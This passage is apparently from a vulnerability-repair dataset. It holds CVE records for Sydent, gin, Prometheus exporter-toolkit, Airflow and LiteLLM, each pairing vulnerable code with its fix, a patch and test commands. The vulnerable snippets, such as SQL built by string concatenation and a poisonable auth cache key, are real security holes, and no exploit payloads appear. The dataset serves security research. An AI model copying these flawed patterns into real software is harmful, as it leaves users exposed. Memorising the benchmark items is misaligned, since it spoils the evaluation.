sydent.cfg.get('email', 'email.smtpusername')\n        mailPassword = sydent.cfg.get('email', 'email.smtppassword')\n        mailTLSMode = sydent.cfg.get('email', 'email.tlsmode')\n        logger.info(\"Sending mail to %s with mail server: %s\" % (mailTo, mailServer,))\n        try:\n            if mailTLSMode == 'SSL' or mailTLSMode == 'TLS':\n                smtp = smtplib.SMTP_SSL(mailServer, mailPort, myHostname)\n            elif mailTLSMode == 'STARTTLS':\n                smtp = smtplib.SMTP(mailServer, mailPort, myHostname)\n                smtp.starttls()\n            else:\n                smtp = smtplib.SMTP(mailServer, mailPort, myHostname)\n            if mailUsername != '':\n                smtp.login(mailUsername, mailPassword)\n            smtp.sendmail(rawFrom, rawTo, mailString.encode('utf-8'))\n            smtp.quit()\n        except Exception as origException:\n            twisted.python.log.err()\n            ese = EmailSendException()\n            ese.cause = origException\n            raise ese"}], "fix_func": [{"id": "fix_py_243_1", "commit": "4e1cfff", "file_path": "sydent/util/emailutils.py", "start_line": 34, "end_line": 92, "snippet": "def sendEmail(sydent, templateName, mailTo, substitutions):\n        mailFrom = sydent.cfg.get('email', 'email.from')\n        mailTemplateFile = sydent.cfg.get('email', templateName)\n\n        myHostname = sydent.cfg.get('email', 'email.hostname')\n        if myHostname == '':\n            myHostname = socket.getfqdn()\n        midRandom = \"\".join([random.choice(string.ascii_letters) for _ in range(16)])\n        messageid = \"<%d%s@%s>\" % (time_msec(), midRandom, myHostname)\n\n        allSubstitutions = {}\n        allSubstitutions.update(substitutions)\n        allSubstitutions.update({\n            'messageid': messageid,\n            'date': email.utils.formatdate(localtime=False),\n            'to': mailTo,\n            'from': mailFrom,\n        })\n\n        for k,v in allSubstitutions.items():\n            allSubstitutions[k] = v.decode('utf8')\n            allSubstitutions[k+\"_forhtml\"] = cgi.escape(v.decode('utf8'))\n            allSubstitutions[k+\"_forurl\"] = urllib.quote(v)\n\n        mailString = open(mailTemplateFile).read().decode('utf8') % allSubstitutions\n        parsedFrom = email.utils.parseaddr(mailFrom)[1]\n        parsedTo = email.utils.parseaddr(mailTo)[1]\n        if parsedFrom == '' or parsedTo == '':\n            logger.info(\"Couldn't parse from / to address %s / %s\", mailFrom, mailTo)\n            raise EmailAddressException()\n\n        mailServer = sydent.cfg.get('email', 'email.smtphost')\n        mailPort = sydent.cfg.get('email', 'email.smtpport')\n        mailUsername = sydent.cfg.get('email', 'email.smtpusername')\n        mailPassword = sydent.cfg.get('email', 'email.smtppassword')\n        mailTLSMode = sydent.cfg.get('email', 'email.tlsmode')\n        logger.info(\"Sending mail to %s with mail server: %s\" % (mailTo, mailServer,))\n        try:\n            if mailTLSMode == 'SSL' or mailTLSMode == 'TLS':\n                smtp = smtplib.SMTP_SSL(mailServer, mailPort, myHostname)\n            elif mailTLSMode == 'STARTTLS':\n                smtp = smtplib.SMTP(mailServer, mailPort, myHostname)\n                smtp.starttls()\n            else:\n                smtp = smtplib.SMTP(mailServer, mailPort, myHostname)\n            if mailUsername != '':\n                smtp.login(mailUsername, mailPassword)\n\n            # We're using the parsing above to do basic validation, but instead of\n            # failing it may munge the address it returns. So we should *not* use\n            # that parsed address, as it may not match any validation done\n            # elsewhere.\n            smtp.sendmail(mailFrom, mailTo, mailString.encode('utf-8'))\n            smtp.quit()\n        except Exception as origException:\n            twisted.python.log.err()\n            ese = EmailSendException()\n            ese.cause = origException\n            raise ese"}], "vul_patch": "--- a/sydent/util/emailutils.py\n+++ b/sydent/util/emailutils.py\n@@ -22,12 +22,13 @@\n             allSubstitutions[k+\"_forhtml\"] = cgi.escape(v.decode('utf8'))\n             allSubstitutions[k+\"_forurl\"] = urllib.quote(v)\n \n-        mailString = open(mailTemplateFile).read() % allSubstitutions\n-        rawFrom = email.utils.parseaddr(mailFrom)[1]\n-        rawTo = email.utils.parseaddr(mailTo)[1]\n-        if rawFrom == '' or rawTo == '':\n+        mailString = open(mailTemplateFile).read().decode('utf8') % allSubstitutions\n+        parsedFrom = email.utils.parseaddr(mailFrom)[1]\n+        parsedTo = email.utils.parseaddr(mailTo)[1]\n+        if parsedFrom == '' or parsedTo == '':\n             logger.info(\"Couldn't parse from / to address %s / %s\", mailFrom, mailTo)\n             raise EmailAddressException()\n+\n         mailServer = sydent.cfg.get('email', 'email.smtphost')\n         mailPort = sydent.cfg.get('email', 'email.smtpport')\n         mailUsername = sydent.cfg.get('email', 'email.smtpusername')\n@@ -44,7 +45,12 @@\n                 smtp = smtplib.SMTP(mailServer, mailPort, myHostname)\n             if mailUsername != '':\n                 smtp.login(mailUsername, mailPassword)\n-            smtp.sendmail(rawFrom, rawTo, mailString.encode('utf-8'))\n+\n+            # We're using the parsing above to do basic validation, but instead of\n+            # failing it may munge the address it returns. So we should *not* use\n+            # that parsed address, as it may not match any validation done\n+            # elsewhere.\n+            smtp.sendmail(mailFrom, mailTo, mailString.encode('utf-8'))\n             smtp.quit()\n         except Exception as origException:\n             twisted.python.log.err()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-26125", "cve_description": "Versions of the package github.com/gin-gonic/gin before 1.9.0 are vulnerable to Improper Input Validation by allowing an attacker to use a specially crafted request via the X-Forwarded-Prefix header, potentially leading to cache poisoning.\r\r**Note:** Although this issue does not pose a significant threat on its own it can serve as an input vector for other more impactful vulnerabilities. However, successful exploitation may depend on the server configuration and whether the header is used in the application logic.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/t0rchwo0d/gin", "patch_url": ["https://github.com/t0rchwo0d/gin/commit/fd9f98e70fb4107ee68c783482d231d35e60507b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_39_1", "commit": "fc1c432", "file_path": "gin.go", "start_line": 668, "end_line": 682, "snippet": "func redirectTrailingSlash(c *Context) {\n\treq := c.Request\n\tp := req.URL.Path\n\tif prefix := path.Clean(c.Request.Header.Get(\"X-Forwarded-Prefix\")); prefix != \".\" {\n\t\tprefix = url.QueryEscape(prefix)\n\t\tprefix = strings.ReplaceAll(prefix, \"%2F\", \"/\")\n\n\t\tp = prefix + \"/\" + req.URL.Path\n\t}\n\treq.URL.Path = p + \"/\"\n\tif length := len(p); length > 1 && p[length-1] == '/' {\n\t\treq.URL.Path = p[:length-1]\n\t}\n\tredirectRequest(c)\n}"}], "fix_func": [{"id": "fix_go_39_2", "commit": "4cee78f", "file_path": "gin.go", "start_line": 44, "end_line": 46, "snippet": "var regSafePrefix = regexp.MustCompile(\"[^a-zA-Z0-9/-]+\")\nvar regRemoveRepeatedChar = regexp.MustCompile(\"/{2,}\")\n"}, {"id": "fix_go_39_1", "commit": "4cee78f", "file_path": "gin.go", "start_line": 671, "end_line": 685, "snippet": "func redirectTrailingSlash(c *Context) {\n\treq := c.Request\n\tp := req.URL.Path\n\tif prefix := path.Clean(c.Request.Header.Get(\"X-Forwarded-Prefix\")); prefix != \".\" {\n\t\tprefix = regSafePrefix.ReplaceAllString(prefix, \"\")\n\t\tprefix = regRemoveRepeatedChar.ReplaceAllString(prefix, \"/\")\n\n\t\tp = prefix + \"/\" + req.URL.Path\n\t}\n\treq.URL.Path = p + \"/\"\n\tif length := len(p); length > 1 && p[length-1] == '/' {\n\t\treq.URL.Path = p[:length-1]\n\t}\n\tredirectRequest(c)\n}"}], "vul_patch": "--- a/gin.go\n+++ b/gin.go\n@@ -2,8 +2,8 @@\n \treq := c.Request\n \tp := req.URL.Path\n \tif prefix := path.Clean(c.Request.Header.Get(\"X-Forwarded-Prefix\")); prefix != \".\" {\n-\t\tprefix = url.QueryEscape(prefix)\n-\t\tprefix = strings.ReplaceAll(prefix, \"%2F\", \"/\")\n+\t\tprefix = regSafePrefix.ReplaceAllString(prefix, \"\")\n+\t\tprefix = regRemoveRepeatedChar.ReplaceAllString(prefix, \"/\")\n \n \t\tp = prefix + \"/\" + req.URL.Path\n \t}\n\n--- /dev/null\n+++ b/gin.go\n@@ -0,0 +1,2 @@\n+var regSafePrefix = regexp.MustCompile(\"[^a-zA-Z0-9/-]+\")\n+var regRemoveRepeatedChar = regexp.MustCompile(\"/{2,}\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-26125:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gin\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestRouteRedirectTrailingSlash$ github.com/gin-gonic/gin\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-26125:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/gin\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestEngineHandleMethodNotAllowedCornerCase|TestRouteNotOK2|TestRouterGroupRouteOK|TestRouteRedirectFixedPath|TestRouteContextHoldsFullPath|TestRouteServeErrorWithWriteHeader|TestRouterNotFoundWithRemoveExtraSlash|TestRouterStaticFSNotFound|TestRouteParamsByNameWithExtraSlash|TestRouterStaticFSFileNotFound|TestRouteNotAllowedEnabled2|TestRouteNotAllowedEnabled|TestRouteRawPath|TestRouterMiddlewareAndStatic|TestRouteParamsByName|TestRouterNotFound|TestRouteStaticListingDir|TestRouteStaticFileFS|TestMiddlewareCalledOnceByRouterStaticFSNotFound|TestRouteStaticNoListing|TestRouteRawPathNoUnescape|TestRouteNotOK|TestRouterMethod|TestRouteNotAllowedDisabled|TestRouteStaticFile)$' github.com/gin-gonic/gin"}
{"cve_id": "CVE-2022-46146", "cve_description": "Prometheus Exporter Toolkit is a utility package to build exporters. Prior to versions 0.7.2 and 0.8.2, if someone has access to a Prometheus web.yml file and users' bcrypted passwords, they can bypass security by poisoning the built-in authentication cache. Versions 0.7.2 and 0.8.2 contain a fix for the issue. There is no workaround, but attacker must have access to the hashed password to use this functionality.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/prometheus/exporter-toolkit", "patch_url": ["https://github.com/prometheus/exporter-toolkit/commit/5b1eab34484ddd353986bce736cd119d863e4ff5"], "programing_language": "Go", "vul_func": [{"id": "vul_go_64_1", "commit": "c6a2415", "file_path": "web/handler.go", "start_line": 87, "end_line": 137, "snippet": "func (u *webHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tc, err := getConfig(u.tlsConfigPath)\n\tif err != nil {\n\t\tu.logger.Log(\"msg\", \"Unable to parse configuration\", \"err\", err)\n\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Configure http headers.\n\tfor k, v := range c.HTTPConfig.Header {\n\t\tw.Header().Set(k, v)\n\t}\n\n\tif len(c.Users) == 0 {\n\t\tu.handler.ServeHTTP(w, r)\n\t\treturn\n\t}\n\n\tuser, pass, auth := r.BasicAuth()\n\tif auth {\n\t\thashedPassword, validUser := c.Users[user]\n\n\t\tif !validUser {\n\t\t\t// The user is not found. Use a fixed password hash to\n\t\t\t// prevent user enumeration by timing requests.\n\t\t\t// This is a bcrypt-hashed version of \"fakepassword\".\n\t\t\thashedPassword = \"$2y$10$QOauhQNbBCuQDKes6eFzPeMqBSjb7Mr5DUmpZ/VcEd00UAV/LDeSi\"\n\t\t}\n\n\t\tcacheKey := hex.EncodeToString(append(append([]byte(user), []byte(hashedPassword)...), []byte(pass)...))\n\t\tauthOk, ok := u.cache.get(cacheKey)\n\n\t\tif !ok {\n\t\t\t// This user, hashedPassword, password is not cached.\n\t\t\tu.bcryptMtx.Lock()\n\t\t\terr := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(pass))\n\t\t\tu.bcryptMtx.Unlock()\n\n\t\t\tauthOk = err == nil\n\t\t\tu.cache.set(cacheKey, authOk)\n\t\t}\n\n\t\tif authOk && validUser {\n\t\t\tu.handler.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\t}\n\n\tw.Header().Set(\"WWW-Authenticate\", \"Basic\")\n\thttp.Error(w, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)\n}"}], "fix_func": [{"id": "fix_go_64_1", "commit": "5b1eab34484ddd353986bce736cd119d863e4ff5", "file_path": "web/handler.go", "start_line": 88, "end_line": 143, "snippet": "func (u *webHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tc, err := getConfig(u.tlsConfigPath)\n\tif err != nil {\n\t\tu.logger.Log(\"msg\", \"Unable to parse configuration\", \"err\", err)\n\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Configure http headers.\n\tfor k, v := range c.HTTPConfig.Header {\n\t\tw.Header().Set(k, v)\n\t}\n\n\tif len(c.Users) == 0 {\n\t\tu.handler.ServeHTTP(w, r)\n\t\treturn\n\t}\n\n\tuser, pass, auth := r.BasicAuth()\n\tif auth {\n\t\thashedPassword, validUser := c.Users[user]\n\n\t\tif !validUser {\n\t\t\t// The user is not found. Use a fixed password hash to\n\t\t\t// prevent user enumeration by timing requests.\n\t\t\t// This is a bcrypt-hashed version of \"fakepassword\".\n\t\t\thashedPassword = \"$2y$10$QOauhQNbBCuQDKes6eFzPeMqBSjb7Mr5DUmpZ/VcEd00UAV/LDeSi\"\n\t\t}\n\n\t\tcacheKey := strings.Join(\n\t\t\t[]string{\n\t\t\t\thex.EncodeToString([]byte(user)),\n\t\t\t\thex.EncodeToString([]byte(hashedPassword)),\n\t\t\t\thex.EncodeToString([]byte(pass)),\n\t\t\t}, \":\")\n\t\tauthOk, ok := u.cache.get(cacheKey)\n\n\t\tif !ok {\n\t\t\t// This user, hashedPassword, password is not cached.\n\t\t\tu.bcryptMtx.Lock()\n\t\t\terr := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(pass))\n\t\t\tu.bcryptMtx.Unlock()\n\n\t\t\tauthOk = validUser && err == nil\n\t\t\tu.cache.set(cacheKey, authOk)\n\t\t}\n\n\t\tif authOk && validUser {\n\t\t\tu.handler.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\t}\n\n\tw.Header().Set(\"WWW-Authenticate\", \"Basic\")\n\thttp.Error(w, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)\n}"}], "vul_patch": "--- a/web/handler.go\n+++ b/web/handler.go\n@@ -27,7 +27,12 @@\n \t\t\thashedPassword = \"$2y$10$QOauhQNbBCuQDKes6eFzPeMqBSjb7Mr5DUmpZ/VcEd00UAV/LDeSi\"\n \t\t}\n \n-\t\tcacheKey := hex.EncodeToString(append(append([]byte(user), []byte(hashedPassword)...), []byte(pass)...))\n+\t\tcacheKey := strings.Join(\n+\t\t\t[]string{\n+\t\t\t\thex.EncodeToString([]byte(user)),\n+\t\t\t\thex.EncodeToString([]byte(hashedPassword)),\n+\t\t\t\thex.EncodeToString([]byte(pass)),\n+\t\t\t}, \":\")\n \t\tauthOk, ok := u.cache.get(cacheKey)\n \n \t\tif !ok {\n@@ -36,7 +41,7 @@\n \t\t\terr := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(pass))\n \t\t\tu.bcryptMtx.Unlock()\n \n-\t\t\tauthOk = err == nil\n+\t\t\tauthOk = validUser && err == nil\n \t\t\tu.cache.set(cacheKey, authOk)\n \t\t}\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-46146:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/exporter-toolkit\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestByPassBasicAuthVuln$ github.com/prometheus/exporter-toolkit/web\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-46146:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/exporter-toolkit\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/test.patch\ngo test -timeout 30s -run '^(TestHTTPHeaders|TestBasicAuthWithFakepassword|TestBasicAuthCache|TestAuthCacheKeyWeakVariants)$' github.com/prometheus/exporter-toolkit/web\n"}
{"cve_id": "CVE-2023-37379", "cve_description": "Apache Airflow, in versions prior to 2.7.0, contains a security vulnerability that can be exploited by an authenticated user possessing Connection edit privileges. This vulnerability allows the user to access connection information and exploit the test connection feature by sending many requests, leading to a denial of service (DoS) condition on the server. Furthermore, malicious actors can leverage this vulnerability to establish harmful connections with the server.\n\nUsers of Apache Airflow are strongly advised to upgrade to version 2.7.0 or newer to mitigate the risk associated with this vulnerability. Additionally, administrators are encouraged to review and adjust user permissions to restrict access to sensitive functionalities, reducing the attack surface.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/e4c3ecf8ceaefa17525b495e4bcb5b2f41309603"], "programing_language": "Python", "vul_func": [{"id": "vul_py_332_1", "commit": "3c3c337", "file_path": "airflow/api_connexion/endpoints/connection_endpoint.py", "start_line": 175, "end_line": 197, "snippet": "def test_connection() -> APIResponse:\n    \"\"\"\n    Test an API connection.\n\n    This method first creates an in-memory transient conn_id & exports that to an\n    env var, as some hook classes tries to find out the conn from their __init__ method & errors out\n    if not found. It also deletes the conn id env variable after the test.\n    \"\"\"\n    body = request.json\n    transient_conn_id = get_random_string()\n    conn_env_var = f\"{CONN_ENV_PREFIX}{transient_conn_id.upper()}\"\n    try:\n        data = connection_schema.load(body)\n        data[\"conn_id\"] = transient_conn_id\n        conn = Connection(**data)\n        os.environ[conn_env_var] = conn.get_uri()\n        status, message = conn.test_connection()\n        return connection_test_schema.dump({\"status\": status, \"message\": message})\n    except ValidationError as err:\n        raise BadRequest(detail=str(err.messages))\n    finally:\n        if conn_env_var in os.environ:\n            del os.environ[conn_env_var]"}, {"id": "vul_py_332_2", "commit": "3c3c337", "file_path": "airflow/cli/commands/connection_command.py", "start_line": 343, "end_line": 359, "snippet": "def connections_test(args) -> None:\n    \"\"\"Test an Airflow connection.\"\"\"\n    console = AirflowConsole()\n\n    print(f\"Retrieving connection: {args.conn_id!r}\")\n    try:\n        conn = BaseHook.get_connection(args.conn_id)\n    except AirflowNotFoundException:\n        console.print(\"[bold yellow]\\nConnection not found.\\n\")\n        raise SystemExit(1)\n\n    print(\"\\nTesting...\")\n    status, message = conn.test_connection()\n    if status is True:\n        console.print(\"[bold green]\\nConnection success!\\n\")\n    else:\n        console.print(f\"[bold][red]\\nConnection failed![/bold]\\n{message}\\n\")"}, {"id": "vul_py_332_3", "commit": "3c3c337", "file_path": "airflow/www/extensions/init_jinja_globals.py", "start_line": 57, "end_line": 87, "snippet": "    def prepare_jinja_globals():\n        extra_globals = {\n            \"server_timezone\": server_timezone,\n            \"default_ui_timezone\": default_ui_timezone,\n            \"hostname\": hostname,\n            \"navbar_color\": conf.get(\"webserver\", \"NAVBAR_COLOR\"),\n            \"log_fetch_delay_sec\": conf.getint(\"webserver\", \"log_fetch_delay_sec\", fallback=2),\n            \"log_auto_tailing_offset\": conf.getint(\"webserver\", \"log_auto_tailing_offset\", fallback=30),\n            \"log_animation_speed\": conf.getint(\"webserver\", \"log_animation_speed\", fallback=1000),\n            \"state_color_mapping\": STATE_COLORS,\n            \"airflow_version\": airflow_version,\n            \"git_version\": git_version,\n            \"k8s_or_k8scelery_executor\": IS_K8S_OR_K8SCELERY_EXECUTOR,\n            \"rest_api_enabled\": False,\n        }\n\n        backends = conf.get(\"api\", \"auth_backends\")\n        if len(backends) > 0 and backends[0] != \"airflow.api.auth.backend.deny_all\":\n            extra_globals[\"rest_api_enabled\"] = True\n\n        if \"analytics_tool\" in conf.getsection(\"webserver\"):\n            extra_globals.update(\n                {\n                    \"analytics_tool\": conf.get(\"webserver\", \"ANALYTICS_TOOL\"),\n                    \"analytics_id\": conf.get(\"webserver\", \"ANALYTICS_ID\"),\n                }\n            )\n\n        return extra_globals\n\n    app.context_processor(prepare_jinja_globals)"}], "fix_func": [{"id": "fix_py_332_1", "commit": "e4c3ecf8ceaefa17525b495e4bcb5b2f41309603", "file_path": "airflow/api_connexion/endpoints/connection_endpoint.py", "start_line": 176, "end_line": 205, "snippet": "def test_connection() -> APIResponse:\n    \"\"\"\n    Test an API connection.\n\n    This method first creates an in-memory transient conn_id & exports that to an\n    env var, as some hook classes tries to find out the conn from their __init__ method & errors out\n    if not found. It also deletes the conn id env variable after the test.\n    \"\"\"\n    if conf.get(\"core\", \"test_connection\", fallback=\"Disabled\").lower().strip() != \"enabled\":\n        return Response(\n            \"Testing connections is disabled in Airflow configuration. Contact your deployment admin to \"\n            \"enable it.\",\n            403,\n        )\n\n    body = request.json\n    transient_conn_id = get_random_string()\n    conn_env_var = f\"{CONN_ENV_PREFIX}{transient_conn_id.upper()}\"\n    try:\n        data = connection_schema.load(body)\n        data[\"conn_id\"] = transient_conn_id\n        conn = Connection(**data)\n        os.environ[conn_env_var] = conn.get_uri()\n        status, message = conn.test_connection()\n        return connection_test_schema.dump({\"status\": status, \"message\": message})\n    except ValidationError as err:\n        raise BadRequest(detail=str(err.messages))\n    finally:\n        if conn_env_var in os.environ:\n            del os.environ[conn_env_var]"}, {"id": "fix_py_332_2", "commit": "e4c3ecf8ceaefa17525b495e4bcb5b2f41309603", "file_path": "airflow/cli/commands/connection_command.py", "start_line": 344, "end_line": 366, "snippet": "def connections_test(args) -> None:\n    \"\"\"Test an Airflow connection.\"\"\"\n    console = AirflowConsole()\n    if conf.get(\"core\", \"test_connection\", fallback=\"Disabled\").lower().strip() != \"enabled\":\n        console.print(\n            \"[bold yellow]\\nTesting connections is disabled in Airflow configuration. \"\n            \"Contact your deployment admin to enable it.\\n\"\n        )\n        raise SystemExit(1)\n\n    print(f\"Retrieving connection: {args.conn_id!r}\")\n    try:\n        conn = BaseHook.get_connection(args.conn_id)\n    except AirflowNotFoundException:\n        console.print(\"[bold yellow]\\nConnection not found.\\n\")\n        raise SystemExit(1)\n\n    print(\"\\nTesting...\")\n    status, message = conn.test_connection()\n    if status is True:\n        console.print(\"[bold green]\\nConnection success!\\n\")\n    else:\n        console.print(f\"[bold][red]\\nConnection failed![/bold]\\n{message}\\n\")"}, {"id": "fix_py_332_3", "commit": "e4c3ecf8ceaefa17525b495e4bcb5b2f41309603", "file_path": "airflow/www/extensions/init_jinja_globals.py", "start_line": 57, "end_line": 88, "snippet": "    def prepare_jinja_globals():\n        extra_globals = {\n            \"server_timezone\": server_timezone,\n            \"default_ui_timezone\": default_ui_timezone,\n            \"hostname\": hostname,\n            \"navbar_color\": conf.get(\"webserver\", \"NAVBAR_COLOR\"),\n            \"log_fetch_delay_sec\": conf.getint(\"webserver\", \"log_fetch_delay_sec\", fallback=2),\n            \"log_auto_tailing_offset\": conf.getint(\"webserver\", \"log_auto_tailing_offset\", fallback=30),\n            \"log_animation_speed\": conf.getint(\"webserver\", \"log_animation_speed\", fallback=1000),\n            \"state_color_mapping\": STATE_COLORS,\n            \"airflow_version\": airflow_version,\n            \"git_version\": git_version,\n            \"k8s_or_k8scelery_executor\": IS_K8S_OR_K8SCELERY_EXECUTOR,\n            \"rest_api_enabled\": False,\n            \"config_test_connection\": conf.get(\"core\", \"test_connection\", fallback=\"Disabled\"),\n        }\n\n        backends = conf.get(\"api\", \"auth_backends\")\n        if len(backends) > 0 and backends[0] != \"airflow.api.auth.backend.deny_all\":\n            extra_globals[\"rest_api_enabled\"] = True\n\n        if \"analytics_tool\" in conf.getsection(\"webserver\"):\n            extra_globals.update(\n                {\n                    \"analytics_tool\": conf.get(\"webserver\", \"ANALYTICS_TOOL\"),\n                    \"analytics_id\": conf.get(\"webserver\", \"ANALYTICS_ID\"),\n                }\n            )\n\n        return extra_globals\n\n    app.context_processor(prepare_jinja_globals)"}], "vul_patch": "--- a/airflow/api_connexion/endpoints/connection_endpoint.py\n+++ b/airflow/api_connexion/endpoints/connection_endpoint.py\n@@ -6,6 +6,13 @@\n     env var, as some hook classes tries to find out the conn from their __init__ method & errors out\n     if not found. It also deletes the conn id env variable after the test.\n     \"\"\"\n+    if conf.get(\"core\", \"test_connection\", fallback=\"Disabled\").lower().strip() != \"enabled\":\n+        return Response(\n+            \"Testing connections is disabled in Airflow configuration. Contact your deployment admin to \"\n+            \"enable it.\",\n+            403,\n+        )\n+\n     body = request.json\n     transient_conn_id = get_random_string()\n     conn_env_var = f\"{CONN_ENV_PREFIX}{transient_conn_id.upper()}\"\n\n--- a/airflow/cli/commands/connection_command.py\n+++ b/airflow/cli/commands/connection_command.py\n@@ -1,6 +1,12 @@\n def connections_test(args) -> None:\n     \"\"\"Test an Airflow connection.\"\"\"\n     console = AirflowConsole()\n+    if conf.get(\"core\", \"test_connection\", fallback=\"Disabled\").lower().strip() != \"enabled\":\n+        console.print(\n+            \"[bold yellow]\\nTesting connections is disabled in Airflow configuration. \"\n+            \"Contact your deployment admin to enable it.\\n\"\n+        )\n+        raise SystemExit(1)\n \n     print(f\"Retrieving connection: {args.conn_id!r}\")\n     try:\n\n--- a/airflow/www/extensions/init_jinja_globals.py\n+++ b/airflow/www/extensions/init_jinja_globals.py\n@@ -12,6 +12,7 @@\n             \"git_version\": git_version,\n             \"k8s_or_k8scelery_executor\": IS_K8S_OR_K8SCELERY_EXECUTOR,\n             \"rest_api_enabled\": False,\n+            \"config_test_connection\": conf.get(\"core\", \"test_connection\", fallback=\"Disabled\"),\n         }\n \n         backends = conf.get(\"api\", \"auth_backends\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-5225", "cve_description": "An SQL Injection vulnerability exists in the berriai/litellm repository, specifically within the `/global/spend/logs` endpoint. The vulnerability arises due to improper neutralization of special elements used in an SQL command. The affected code constructs an SQL query by concatenating an unvalidated `api_key` parameter directly into the query, making it susceptible to SQL Injection if the `api_key` contains malicious data. This issue affects the latest version of the repository. Successful exploitation of this vulnerability could lead to unauthorized access, data manipulation, exposure of confidential information, and denial of service (DoS).", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/BerriAI/litellm", "patch_url": ["https://github.com/BerriAI/litellm/commit/f75c15d6cd535aa78014378ad532de1df6be2f56"], "programing_language": "Python", "vul_func": [{"id": "vul_py_288_1", "commit": "1ec2ba1", "file_path": "litellm/proxy/proxy_server.py", "start_line": 8663, "end_line": 8709, "snippet": "@router.get(\n    \"/global/spend/logs\",\n    tags=[\"Budget & Spend Tracking\"],\n    dependencies=[Depends(user_api_key_auth)],\n)\nasync def global_spend_logs(\n    api_key: str = fastapi.Query(\n        default=None,\n        description=\"API Key to get global spend (spend per day for last 30d). Admin-only endpoint\",\n    )\n):\n    \"\"\"\n    [BETA] This is a beta endpoint. It will change.\n\n    Use this to get global spend (spend per day for last 30d). Admin-only endpoint\n\n    More efficient implementation of /spend/logs, by creating a view over the spend logs table.\n    \"\"\"\n    global prisma_client\n    if prisma_client is None:\n        raise ProxyException(\n            message=\"Prisma Client is not initialized\",\n            type=\"internal_error\",\n            param=\"None\",\n            code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n        )\n    if api_key is None:\n        sql_query = \"\"\"SELECT * FROM \"MonthlyGlobalSpend\" ORDER BY \"date\";\"\"\"\n\n        response = await prisma_client.db.query_raw(query=sql_query)\n\n        return response\n    else:\n        sql_query = (\n            \"\"\"\n            SELECT * FROM \"MonthlyGlobalSpendPerKey\"\n            WHERE \"api_key\" = '\"\"\"\n            + api_key\n            + \"\"\"'\n            ORDER BY \"date\";\n        \"\"\"\n        )\n\n        response = await prisma_client.db.query_raw(query=sql_query)\n\n        return response\n    return"}], "fix_func": [{"id": "fix_py_288_1", "commit": "f75c15d6cd535aa78014378ad532de1df6be2f56", "file_path": "litellm/proxy/proxy_server.py", "start_line": 8663, "end_line": 8705, "snippet": "@router.get(\n    \"/global/spend/logs\",\n    tags=[\"Budget & Spend Tracking\"],\n    dependencies=[Depends(user_api_key_auth)],\n)\nasync def global_spend_logs(\n    api_key: str = fastapi.Query(\n        default=None,\n        description=\"API Key to get global spend (spend per day for last 30d). Admin-only endpoint\",\n    )\n):\n    \"\"\"\n    [BETA] This is a beta endpoint. It will change.\n\n    Use this to get global spend (spend per day for last 30d). Admin-only endpoint\n\n    More efficient implementation of /spend/logs, by creating a view over the spend logs table.\n    \"\"\"\n    global prisma_client\n    if prisma_client is None:\n        raise ProxyException(\n            message=\"Prisma Client is not initialized\",\n            type=\"internal_error\",\n            param=\"None\",\n            code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n        )\n    if api_key is None:\n        sql_query = \"\"\"SELECT * FROM \"MonthlyGlobalSpend\" ORDER BY \"date\";\"\"\"\n\n        response = await prisma_client.db.query_raw(query=sql_query)\n\n        return response\n    else:\n        sql_query = \"\"\"\n            SELECT * FROM \"MonthlyGlobalSpendPerKey\"\n            WHERE \"api_key\" = $1\n            ORDER BY \"date\";\n            \"\"\"\n\n        response = await prisma_client.db.query_raw(sql_query, api_key)\n\n        return response\n    return\n"}], "vul_patch": "--- a/litellm/proxy/proxy_server.py\n+++ b/litellm/proxy/proxy_server.py\n@@ -31,17 +31,13 @@\n \n         return response\n     else:\n-        sql_query = (\n+        